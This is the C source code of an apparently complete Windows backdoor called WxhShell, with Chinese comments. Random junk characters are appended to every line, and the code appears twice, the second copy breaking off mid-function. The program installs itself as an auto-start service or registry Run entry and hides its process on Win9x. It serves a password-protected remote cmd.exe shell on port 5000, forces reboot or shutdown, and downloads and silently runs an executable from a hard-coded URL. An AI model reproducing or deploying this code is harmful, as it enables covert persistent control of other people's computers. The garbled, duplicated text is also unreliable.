    else { E:-~SH}  
    closesocket(wsh); x=-(p}0o;<  
    ExitThread(0); ^M\X/uq$E  
    } mi1^hl'2  
    break; ac6@E4 _  
    } eFotV.T!#  
  // 关机 O0s,)8+z5D  
  case 'd': { pWn]$HaoG  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); / U!xh3  
    if(Boot(SHUTDOWN)) qL <@PC.5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _pzYmQ  
    else { `l6OQdB3W  
    closesocket(wsh); 1Y%lt5,*  
    ExitThread(0); s IBP$9  
    } )L7[;(gQ  
    break; ,tDLpnB@;  
    } \y6Y}Cv  
  // 获取shell hL&7D @  
  case 's': { (zxL!ZR<  
    CmdShell(wsh); p&#ju*i6z  
    closesocket(wsh); -8vGvI>  
    ExitThread(0); vE1:;%Q  
    break; LK!sk5/  
  } l8:!{I?s=  
  // 退出 auqN8_+=  
  case 'x': { ^6Zx-Mf\  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); KS1udH^Zc  
    CloseIt(wsh); 6G#[Mc yn  
    break; Qmb+%z  
    } C~?p85  
  // 离开 _\8E/4zh  
  case 'q': { > 5?c93?  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); .t9`e=%  
    closesocket(wsh); ,izp^,`  
    WSACleanup(); I2pE}6q  
    exit(1); D=Nt 0y  
    break; oB>#P-V  
        } tOte[~,  
  } _/"e'@z  
  } $=#Lf[|f=  
w~+\Mfz  
  // 提示信息 v~W ;&{  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); }}u`*&,g  
} 7h2/8YUgQ  
  } 7]Hf3]e>/  
Z0O0Q=e\Y  
  return; ,_/\pX0  
} c6=XJvz  
]&B/rSC  
// shell模块句柄 { .0I!oWv  
int CmdShell(SOCKET sock) @HnahD  
{ Hw toa,  
STARTUPINFO si; ~IPATG  
ZeroMemory(&si,sizeof(si)); S6C DK:  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Fp"c {  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; p&0 G  
PROCESS_INFORMATION ProcessInfo; *b!.9pK  
char cmdline[]="cmd"; 6' \M:'<0e  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ?)-anoFyVW  
  return 0; ]/3!t=La  
} rf 60'   
QNv5CQ&  
// 自身启动模式 S$P=;#r  
int StartFromService(void) \}<J>R@  
{ 0r[a$p>`  
typedef struct X+ybgB4(  
{ 7L6^IK  
  DWORD ExitStatus; Q,tjODc6n  
  DWORD PebBaseAddress; YguW2R=6]  
  DWORD AffinityMask; NXz/1ut%  
  DWORD BasePriority; 0R0_UvsXU  
  ULONG UniqueProcessId; /qq*"R  
  ULONG InheritedFromUniqueProcessId; k Q_Vj7  
}   PROCESS_BASIC_INFORMATION; _ 5b~3K/V  
a3z_o)"   
PROCNTQSIP NtQueryInformationProcess; c=a;<,Rzb  
Se\iM s  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; sYSq>M  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 1N { >00  
_`laP5~  
  HANDLE             hProcess; t:,lz8Y~  
  PROCESS_BASIC_INFORMATION pbi; qC=ZH#  
zxd<Cq>d  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); EpCNp FQT<  
  if(NULL == hInst ) return 0; yFDt%&*n^  
B4c;/W-  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 9\E];~"iP  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 8u"C7} N_  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); \[8uE,=|  
Xg;<?g?k  
  if (!NtQueryInformationProcess) return 0; @00&J~D  
s%m?Yh3  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); =NPo<^Lae  
  if(!hProcess) return 0; WS1Y maV  
&4M,)Q (  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; )IIWXN2A  
*Ct ^jU7  
  CloseHandle(hProcess); G!Y7Rj WD  
EIg:@o&Jj  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); JiXN"s^mcb  
if(hProcess==NULL) return 0; q^QLNKOH"  
,ob)6P^rw  
HMODULE hMod; >{0,dGm  
char procName[255]; uw`J5TND  
unsigned long cbNeeded; 7L]Y.7>  
I Vw'YtZ  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 4]%MrSjS  
)Q|sW+AF  
  CloseHandle(hProcess); e4.G9(  
_Pl5?5eZj  
if(strstr(procName,"services")) return 1; // 以服务启动 |4` ;G(ta  
Eqx|k-<a  
  return 0; // 注册表启动 ),-MrL8c%  
} HLq2a vs\  
8Urj;KkD  
// 主模块 VlxHZ  
int StartWxhshell(LPSTR lpCmdLine) _o>?\:A  
{ #!4 HSBf  
  SOCKET wsl; CraD  
BOOL val=TRUE; irGgo-x  
  int port=0; 1f2*S$[*L  
  struct sockaddr_in door; -TNb=2en(  
o& ?:pE  
  if(wscfg.ws_autoins) Install(); ;\Pq  
"Y=4Y;5q  
port=atoi(lpCmdLine); difAQ<`  
:HH3=.qAp`  
if(port<=0) port=wscfg.ws_port; h$$i@IO0  
FyllVrK  
  WSADATA data; LJ*W&y(2>Q  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; E*}1_,q)  
2>kk6=<5'  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   kY~o3p<  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); cN]g^  
  door.sin_family = AF_INET; ?]58{O(?c  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); n%ZOR1u)k#  
  door.sin_port = htons(port); QG;V\2T2[  
zj#8@gbh+  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { wf,w%n  
closesocket(wsl); " VSma  
return 1; 'w`9lIax  
} 1u_< 1X3  
 Y?IXV*J  
  if(listen(wsl,2) == INVALID_SOCKET) { *orP{p -U  
closesocket(wsl); .J2tm2]"EZ  
return 1; o/I`L  
} WC wM+D  
  Wxhshell(wsl); M tBoX*"  
  WSACleanup(); |SwW*C  
VNxhv!w  
return 0; '/<f'R^  
HH7Bg0=(  
} <U2Un 0T  
 <4 D.H  
// 以NT服务方式启动 70T{tB  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ifcC [.im  
{ _F tI2G9  
DWORD   status = 0; ^7V{nT@H3  
  DWORD   specificError = 0xfffffff; rLI );!^-  
-X,[NI3  
  serviceStatus.dwServiceType     = SERVICE_WIN32; DM3 %+ xY  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Tu}?Q. pKo  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 'E kuCL  
  serviceStatus.dwWin32ExitCode     = 0; > ZKHjw  
  serviceStatus.dwServiceSpecificExitCode = 0; [D<"qT^*z6  
  serviceStatus.dwCheckPoint       = 0; Ag0)> PD^  
  serviceStatus.dwWaitHint       = 0; Pfl8x  
5HW'nhE  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); QK(w2`  
  if (hServiceStatusHandle==0) return; 0z`-fQfK  
,2Q5'!o  
status = GetLastError(); Q <2 `ek  
  if (status!=NO_ERROR) 9{XV=a v  
{ uu;1B.[b  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; p [7?0 (  
    serviceStatus.dwCheckPoint       = 0; ExZ|_7^<  
    serviceStatus.dwWaitHint       = 0; 4-~S"T8<u  
    serviceStatus.dwWin32ExitCode     = status; bTW# f$q:4  
    serviceStatus.dwServiceSpecificExitCode = specificError; +VRM:&  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); rtZEK:.#  
    return; 3\0,>L9ET@  
  } hmr2(f%U  
I9O%/^5^[w  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 9; `E,w  
  serviceStatus.dwCheckPoint       = 0; ,HtX D~N  
  serviceStatus.dwWaitHint       = 0; Gq0`VHAn  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); s1%th"e [  
} U\x $@J  
R 9b0D>Lxt  
// 处理NT服务事件,比如:启动、停止 F8d:7`lO@/  
VOID WINAPI NTServiceHandler(DWORD fdwControl) W|AK"vf  
{ Ktn:6=,  
switch(fdwControl) #(G"ya  
{ NM0s*s42  
case SERVICE_CONTROL_STOP: 5LJ0V  
  serviceStatus.dwWin32ExitCode = 0; ]jgMN7  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ;U]Ym48  
  serviceStatus.dwCheckPoint   = 0; /<T3^/ '  
  serviceStatus.dwWaitHint     = 0; 0Q!/A5z  
  { 8\Kpc;zb  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); [K""6D  
  } xt1Ug~5  
  return; F-%Hw  
case SERVICE_CONTROL_PAUSE: <KBS ;t="1  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 6\vaR#  
  break; ]\(Ho  
case SERVICE_CONTROL_CONTINUE: }0AoV&75  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; sny$[!)  
  break; BD?u|Fd,i:  
case SERVICE_CONTROL_INTERROGATE: PpezWo)9  
  break; tX~ *.W:  
}; x,LY fy"0  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); vq:?a  
} =buarxk  
(CInt_dBw~  
// 标准应用程序主函数 .,<w_=  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) P71] Z  
{ 6 l7iX]  
9xaieR  
// 获取操作系统版本  xq&r|el  
OsIsNt=GetOsVer(); TGHyBPJb  
GetModuleFileName(NULL,ExeFile,MAX_PATH); eL88lV]I  
vOo-jUKs  
  // 从命令行安装 $;Z0CG  
  if(strpbrk(lpCmdLine,"iI")) Install(); %>Mcme>(W  
m2[]`Ir^@  
  // 下载执行文件 &[P(}??Y\  
if(wscfg.ws_downexe) { /<1zzeHRSD  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) %#TAz7  
  WinExec(wscfg.ws_filenam,SW_HIDE); Pye/o  
} V I]~uTV  
$},_O8R  
if(!OsIsNt) { lf#5X)V  
// 如果时win9x,隐藏进程并且设置为注册表启动 uc aa;zj  
HideProc(); z&yVU<;  
StartWxhshell(lpCmdLine); lC@wCgc  
} OmlM9cXm^4  
else T&'LQZM8  
  if(StartFromService()) y+h/jEbM</  
  // 以服务方式启动 Ffig0K+ `  
  StartServiceCtrlDispatcher(DispatchTable); gO#%*  W  
else (dwb{+HW  
  // 普通方式启动 PLq]\y  
  StartWxhshell(lpCmdLine); f`YHZ O  
2=,d.1E3d  
return 0; mYbu1542'n  
} ySHpN>U  
baGV]=j  
;@qQ^!g2  
duc\/S'  
=========================================== }U?:al/m  
A<IV"bo  
: -$TD('F  
x"A\ Z-xxz  
>0?ph<h1[q  
i ^, $/  
" <?h(Dchq  
!LCy:>i!d  
#include <stdio.h> H(kxRPH4@]  
#include <string.h> rpc;*t+z  
#include <windows.h> $3xDjiBb  
#include <winsock2.h> n[\L6}  
#include <winsvc.h> N'0nt]&a  
#include <urlmon.h> |@VhR(^O$  
 Q.Y6  
#pragma comment (lib, "Ws2_32.lib") ~MP/[,j`  
#pragma comment (lib, "urlmon.lib") }!"Cvu  
2OjU3z<J  
#define MAX_USER   100 // 最大客户端连接数 3Xy~ap>Y  
#define BUF_SOCK   200 // sock buffer (yoF  
#define KEY_BUFF   255 // 输入 buffer ^!$=(jh.  
OS1f}<  
#define REBOOT     0   // 重启 H9Vn(A8&`  
#define SHUTDOWN   1   // 关机 qcge#S>  
js!C`]1  
#define DEF_PORT   5000 // 监听端口 aSI%!Vg.  
C3~O6<,Jh  
#define REG_LEN     16   // 注册表键长度 PKd'lo  
#define SVC_LEN     80   // NT服务名长度 R G~GVf  
~du U& \  
// 从dll定义API dj}|EW4  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); nZM]EWn  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ( X+2vN  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); f1 XM_  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); @z:E]O}  
+G+1B6S  
// wxhshell配置信息 2*] [M,L0c  
struct WSCFG { W$W w/mcl+  
  int ws_port;         // 监听端口 \jZ)r>US"  
  char ws_passstr[REG_LEN]; // 口令 >CwI(vXn  
  int ws_autoins;       // 安装标记, 1=yes 0=no %*RZxR):  
  char ws_regname[REG_LEN]; // 注册表键名 X~/-,oV=A  
  char ws_svcname[REG_LEN]; // 服务名 f{u S  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 oE2VJKs<B  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 jv6>7@<G  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 N^AlhR^  
int ws_downexe;       // 下载执行标记, 1=yes 0=no r]]:/pw?t  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" "<f?.l\+  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 OX?E3 <8`  
F!w|5,)  
}; SLp nVD:'1  
&|' NDcp  
// default Wxhshell configuration 4n1 g@A=y  
struct WSCFG wscfg={DEF_PORT, #K iqV6E  
    "xuhuanlingzhe", U* uMMb}$  
    1, f1?%p)C  
    "Wxhshell", FlY"OU*  
    "Wxhshell", =NSunW!  
            "WxhShell Service", _;:_ !`  
    "Wrsky Windows CmdShell Service", =kCiJ8q|  
    "Please Input Your Password: ", <fA}_BH%]  
  1, l3/Cj^o4  
  "http://www.wrsky.com/wxhshell.exe", r;E5e]w*-  
  "Wxhshell.exe" ;jO+<~YP!  
    }; u9u'5xAO  
J6ed  
// 消息定义模块 p["pGsf  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; q8,,[R_  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Zq H-]?)  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; <I0om(P  
char *msg_ws_ext="\n\rExit."; ]24]id  
char *msg_ws_end="\n\rQuit."; 73_-7'^mQ  
char *msg_ws_boot="\n\rReboot..."; V|*3*W  
char *msg_ws_poff="\n\rShutdown..."; BB ::zBg  
char *msg_ws_down="\n\rSave to "; 52^,qP'6  
`B,R+==G:  
char *msg_ws_err="\n\rErr!"; f9+6gY  
char *msg_ws_ok="\n\rOK!"; z4zPR?%:  
= C/F26=|  
char ExeFile[MAX_PATH]; WP=uHg  
int nUser = 0; /CbiYm  
HANDLE handles[MAX_USER]; Y{Lxo])e  
int OsIsNt; Zv?"1Y< L  
w'7J`n: {]  
SERVICE_STATUS       serviceStatus; _c-(T&u<  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; VW;E14  
k![H;}W  
// 函数声明 !1A< jL  
int Install(void); =}Q|#C  
int Uninstall(void); _'^_9u G  
int DownloadFile(char *sURL, SOCKET wsh); 1N5lI97j  
int Boot(int flag); 6$zd2N?  
void HideProc(void); \'|t>|zhp  
int GetOsVer(void); @hrIu" '!  
int Wxhshell(SOCKET wsl); v yt|x5  
void TalkWithClient(void *cs); B(O6qWsL  
int CmdShell(SOCKET sock); yf-2E_yB  
int StartFromService(void); NgF"1E  
int StartWxhshell(LPSTR lpCmdLine); &5[+p{2  
ZCMH?>  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); NJ;m&Tm,DF  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); !XM*y  
fvV"H{V,  
// 数据结构和表定义  .C5JQO  
SERVICE_TABLE_ENTRY DispatchTable[] = s I09X6)  
{ 9}tl @  
{wscfg.ws_svcname, NTServiceMain}, hF`<I.z}  
{NULL, NULL} {>XoE %  
}; 1TF S2R n  
zJ:%iL@  
// 自我安装 MD3iWgM  
int Install(void) ;:>q;%  
{ !\O!Du  
  char svExeFile[MAX_PATH]; }U4mXkZF  
  HKEY key; G)_Zls2 ;  
  strcpy(svExeFile,ExeFile); V'UFc>{o  
e"*ho[  
// 如果是win9x系统,修改注册表设为自启动 hb %F"Q  
if(!OsIsNt) { 4^d).{&X  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { <s$T7Zk  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); \w(0k^<7  
  RegCloseKey(key); Kltqe5  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { pF8+< T3y  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));  obPG]*3  
  RegCloseKey(key); /<%L&  
  return 0; U;"J8  
    } Q:T9&_|  
  } .j=mT[N,I  
} iM6(bmc.  
else { <U\8&Uv>  
WN#2<XjG  
// 如果是NT以上系统,安装为系统服务 |YfJ#Agm+  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); [X8EfU}  
if (schSCManager!=0) Gi2Fjq/Y  
{ T7O)  
  SC_HANDLE schService = CreateService \=xS?(v!  
  ( m&be55M;  
  schSCManager, 4mpcI  
  wscfg.ws_svcname, u]ps-R_$G  
  wscfg.ws_svcdisp, @L0)k^:  
  SERVICE_ALL_ACCESS, a0Fq$  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , VwK7\j V  
  SERVICE_AUTO_START, rq}xuSFI  
  SERVICE_ERROR_NORMAL, }m7$,'C%P  
  svExeFile, FP*kA_z$  
  NULL, {k[dg0UV  
  NULL, &!M6{O=~  
  NULL, zqZ/z>Gf  
  NULL, o=xMaA  
  NULL a$bE2'cb  
  ); }1lZW"{e[  
  if (schService!=0) c"t&,OU:  
  { $&Z#2 X.  
  CloseServiceHandle(schService); l0g+OMt  
  CloseServiceHandle(schSCManager); p1mAoVxR  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); HW#@e kh  
  strcat(svExeFile,wscfg.ws_svcname); >Ad`_g6Wew  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { wqJl[~O$  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); tT]mMlKJ  
  RegCloseKey(key); 141xi;o  
  return 0; %[azMlp<  
    } ,^eOwWV  
  } HNlW.y"  
  CloseServiceHandle(schSCManager); %,aSD#l`f  
} Bqb`WX[<`  
} Dqd2e&a\  
Ae1b`%To  
return 1; (*V!V3E3#  
} N3oa!PE  
4-$kc wA  
// 自我卸载 =e9<.{]S/  
int Uninstall(void) S?VKzVDB.S  
{ x;LO{S4Z  
  HKEY key; d5R2J:dI  
kqq1;Kd  
if(!OsIsNt) { &h=f  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { +~M.Vs X  
  RegDeleteValue(key,wscfg.ws_regname); t2rZ%[O  
  RegCloseKey(key); m#RMd,'X  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { &SPr#OkW  
  RegDeleteValue(key,wscfg.ws_regname); ^BW8zu@=O  
  RegCloseKey(key); #yEkd2Vy{  
  return 0; BuxU+  
  } bBGg4{  
} 1YU?+K  
} ^$RpP+d  
else { rL?{+S]&^)  
n,_9Eh#WD  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); t~!ag#3['.  
if (schSCManager!=0) !d[]Qt%mA  
{ XIl#0-E0X  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); PQz[IZ  
  if (schService!=0) Qp2~ `hD  
  { 7;?7q  
  if(DeleteService(schService)!=0) { wOrj-Smx  
  CloseServiceHandle(schService); ~L> &p  
  CloseServiceHandle(schSCManager); 9C5F#(uY  
  return 0; y S<&d#:"  
  } sAZL,w  
  CloseServiceHandle(schService); GSH,;cY  
  } ?,[$8V  
  CloseServiceHandle(schSCManager); ?}u][akM  
} )5o6*(Y  
} n-<`Z NMU  
kY'C'9p  
return 1; 2_Cp}Pj  
} FEBRUk6.h  
>gn@NJ2N  
// 从指定url下载文件 >km$zfM2-  
int DownloadFile(char *sURL, SOCKET wsh) CL t(_!q  
{ wGHVq fm5  
  HRESULT hr; L%pAEoSG  
char seps[]= "/"; ``kesz  
char *token; &iy7It  
char *file; m]{/5L  
char myURL[MAX_PATH]; vJ&35nF&  
char myFILE[MAX_PATH]; hWbjA[a/  
(;HO3Z".q$  
strcpy(myURL,sURL); &@PAv5iNf  
  token=strtok(myURL,seps); F^=y+}]=  
  while(token!=NULL) 7CX5pRNL  
  { 1D~B\=LL}  
    file=token; 7EL0!:Pp3  
  token=strtok(NULL,seps); 9G6auk.m.O  
  } cn9=wm\\  
NpA%7Q~B$,  
GetCurrentDirectory(MAX_PATH,myFILE); %@C$xM"  
strcat(myFILE, "\\"); 'sk M$jr  
strcat(myFILE, file); Ow-;WO_HQ  
  send(wsh,myFILE,strlen(myFILE),0); &Mz.i,Gh  
send(wsh,"...",3,0); ]Rmu +N|  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); X{h[    
  if(hr==S_OK) dcE(uf  
return 0; F-Ku0z]){?  
else ~6Odw GWV  
return 1; T 7M];@q  
Ti#x62X{  
} DuC_uNJ  
K-@cn*6  
// 系统电源模块 C"h7'+Kw  
int Boot(int flag) _Vr}ipx-k  
{ tZr_{F@  
  HANDLE hToken; UXHtmi|_:  
  TOKEN_PRIVILEGES tkp; !zfV (&  
JS&;7Z$KX  
  if(OsIsNt) { )/bv@Am  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); W:2j.K9!  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); k{^iv:  
    tkp.PrivilegeCount = 1; 3E8 Gh>J_  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; . B6mvb\  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 2o0WS~}5  
if(flag==REBOOT) { 36 ]?4, .  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) >V&GL{  
  return 0; Lcs?2c:%  
} IXR%IggJA  
else { \YH*x`  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) XBTjb  
  return 0; nA+gqY6 6|  
} qwd T= H  
  } //^{u[lr  
  else { ,k,+UisG  
if(flag==REBOOT) { e.;B?0QrV  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) B)&z% +  
  return 0; &LhR0A  
} , .uI>  
else { +Ui%}^ZZ  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) FF30 VlJ  
  return 0; <T$rvS  
} e]7J_9t@  
} t\-;n:p-  
W0# VDe]>  
return 1; s&-dLkis{u  
} lZD"7om  
]Q{MF- EKj  
// win9x进程隐藏模块 B|- W  
void HideProc(void) l>@){zxL  
{ xx[l#+:c  
U~<~>^[  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); \Jr7Hy1;  
  if ( hKernel != NULL ) lJU]sZ9~b  
  { g|x* sZR~Y  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ,<=_t{^  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); jp#/]>(9Z  
    FreeLibrary(hKernel); \l/<[ZZ  
  } -VZ? c  
5Fa/Q>N  
return; :ZU-Vi.b  
} x7c#kU2A&Z  
]{pH,vk-  
// 获取操作系统版本 r-c1_ [Q#  
int GetOsVer(void) 8"J6(KS  
{ =tqChw   
  OSVERSIONINFO winfo; 4Kn)5>  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); qUG)+~g`  
  GetVersionEx(&winfo); ZgL]ex  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) RVa{%   
  return 1; rA1;DSw6E[  
  else *!yY7 ~#  
  return 0; WD?COUEox  
} C'fQ Z,r-v  
Ve\P,.  
// 客户端句柄模块 `:EU~4s\  
int Wxhshell(SOCKET wsl) 87:V-*8  
{ xU$15|ny  
  SOCKET wsh; D? FWSv  
  struct sockaddr_in client; 6g%~~hX  
  DWORD myID; ' 8UhYwyr  
}1Km h]  
  while(nUser<MAX_USER) _qq>-{-Ym  
{ ^h"F\vIpV  
  int nSize=sizeof(client); <~35tOpv  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ,:?=j80m  
  if(wsh==INVALID_SOCKET) return 1; @ R;o $n  
M0"}>`1lJ  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); S *K0OUq  
if(handles[nUser]==0) j'nrdr6n  
  closesocket(wsh); 17B`  
else z]R)Bh  
  nUser++; (, 2U?p  
  } qc@v"pIz'S  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 5tm:|.`SQ  
rb<9/z5-  
  return 0; 6B`,^8Lp  
} 84M*)cKR~  
#=aTSw X  
// 关闭 socket #F6!x3Z  
void CloseIt(SOCKET wsh) o.KE=zp&z  
{ -3&mgd  
closesocket(wsh); Qe1WT T]:I  
nUser--; ue"e><c6:  
ExitThread(0); EMMp4KKOx+  
} 7 ?"-NrW~  
pJ H@v &a  
// 客户端请求句柄 )dZ1$MC[  
void TalkWithClient(void *cs) (pkq{: Fs  
{ }tUr V   
=U+_;;F=  
  SOCKET wsh=(SOCKET)cs; ]5j1p6;(`  
  char pwd[SVC_LEN]; QVPJ$~x  
  char cmd[KEY_BUFF]; TWT h!  
char chr[1]; vON1\$bu `  
int i,j; E j/P:nB  
>'2=3L^Q  
  while (nUser < MAX_USER) { +}.S:w_xQ  
Lo^gg#o  
if(wscfg.ws_passstr) { 3[}w#n1  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); f^9ntos|  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); m00 5*>IY  
  //ZeroMemory(pwd,KEY_BUFF); 8PwPI%Pb  
      i=0; <<[\ Rv  
  while(i<SVC_LEN) { BF+i82$zo  
C#D8 E.W  
  // 设置超时 NM&R\GI  
  fd_set FdRead; e? n8S  
  struct timeval TimeOut; `*HM5 1U  
  FD_ZERO(&FdRead); >`u/#mrd  
  FD_SET(wsh,&FdRead); :}p<Hq 8Z  
  TimeOut.tv_sec=8; _/)HAw?k  
  TimeOut.tv_usec=0; W"ldQ  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); bd@1j`i  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); n`2LGc[rP  
?emYLw  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); P_N i 5s)  
  pwd=chr[0]; kCZxv"Ts  
  if(chr[0]==0xd || chr[0]==0xa) { 6T ,'Oz  
  pwd=0; `} :~,E  
  break; 8/`ij?gn  
  } {BS`v5*  
  i++; -Gmg&yQ9  
    } 4&+lc*  
p|o?nI  
  // 如果是非法用户,关闭 socket fVx_]5jM  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ;}E$>]*Yn  
} )w'GnUqWz  
?-D'xqc  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); +W[NgUrGJ  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); J^)=8cy  
fi;00>y  
while(1) { 4]mAV\1  
1@{qPmf^  
  ZeroMemory(cmd,KEY_BUFF); ;Br #e1~  
~Op~~ m  
      // 自动支持客户端 telnet标准   diDB>W  
  j=0; Yi+$g  
  while(j<KEY_BUFF) { y(h"0A1lW  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); FCA]zR1  
  cmd[j]=chr[0]; }Z3+z@L  
  if(chr[0]==0xa || chr[0]==0xd) { Z@ZSn0  
  cmd[j]=0; w!~85""  
  break; \+Pk"M  
  } {&d )O  
  j++; !@wG22iC4d  
    } ~;P>}|6Y  
] R-<v&O  
  // 下载文件 Gn} ^BJN  
  if(strstr(cmd,"http://")) { V/W{d[86G  
